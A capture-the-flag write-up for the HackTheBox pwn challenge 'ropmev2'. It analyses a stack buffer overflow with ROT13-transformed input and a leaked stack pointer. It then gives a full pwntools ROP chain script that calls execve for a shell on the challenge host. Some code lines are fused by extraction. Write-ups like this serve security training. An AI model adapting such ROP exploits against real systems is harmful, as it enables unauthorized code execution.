ropmev2 is a really cool pwn challenge hosted by hackthebox, the goal of these binary exploitation challenges is to exploit the binary to either get a remote shell or read a flag. So lets jump in and start our analyses !
1 — Analyzing the binary
lets start by doing some basic enumeration on the executable architecture and see what protections does the binary include
we can see that we have an x64 bit executable program with “NX” enabled which stands for non executable stack , and this kind of protection make it harder for us to inject our shell code .
now lets just execute the binary and see what it does exactly
we got a segmentation fault because it tried to store a large string length in a buffer with a smaller size
lets fire up ghidra to get a better understanding on how this binary behave
its printing a message for us using “printf” then it tries to read 500 bytes from 208 bytes buffer size, after that we can see its using “strcmp” to compare the buffer content with the string “DEBUG\n”
lets set up a break point after the printf so we can know what value we are getting from the binary
Okay now we know that the value being printed by the program is the stack pointer( RSP ).
We have seen earlier that we got a seg fault error now lets dig deeper and see if we can overflow some registries
Hum ! something is wrong here :/ our “A”s are turned into “N”s in both of the stack and registries , if we continue analyzing the binary in ghidra we see a functions that applies some changes to our input
we can see that its subtracting “0xd” from every entered char, it looks like its encoding our input with rot13, now lets find the oveflow offset
if we rot13 decode the first 4 bytes from the RSP we will get the overflow offset which is 216 bytes
2- Exploitation
using ropgadget tool we could easy find all needed gadgets + syscall to build our exploit
1- 0x0000000000401168 : syscall
2–0x0000000000401162 : pop rax ; ret
3–0x000000000040142b : pop rdi ; ret
4–0x0000000000401164 : pop rdx ; pop r13 ; ret
5–0x0000000000401429 : pop rsi ; pop r15 ; ret
6-syscall execve number : 59 (0x3b)
#!/usr/bin/python
from pwn import *
HOST = “docker.hackthebox.eu”
port = 30268
p = remote(HOST,port)
pop_rdi = 0x000000000040142b
pop_rax = 0x0000000000401162
pop_rdx_r13 = 0x0000000000401164
pop_rsi_r15 = 0x0000000000401429
syscall = 0x0000000000401168p.recvuntil(“me”)
p.sendline(“DEBUG”)
p.recvline()
leak = str(p.recvline())[-15:]
log.info(“Leaked address: “ + leak)binbash = int(leak, 16) — 0xe0 #using the leaked RSP address to calculate our bash address
stack_overflow = “/ova/onfu\x00”.ljust(216, “A”) #Adding ROT 13 encoded shell env var and filling the rest of the buffer with junkpayload = stack_overflow
payload += p64(pop_rdi) #pushing shell as an argument for execve to RDI
payload += p64(binbash)#
payload += p64(pop_rax)#pushing execve syscall number in RAX
payload += p64(0x3b)
payload += p64(pop_rsi_r15) #filling the no needed registries with 0
payload += p64(0x00)
payload += p64(0x00)
payload += p64(pop_rdx_r13)#filling the no needed registries with 0
payload += p64(0x00)
payload += p64(0x00)
payload += p64(syscall) #calling syscall and passing all previous args to itp.recvuntil(“me”)
p.sendline(payload)p.interactive()
that’s it ! hope you guys enjoyed this write up and all feedbacks are appreciated
HTB prof: https://www.hackthebox.eu/home/users/profile/92694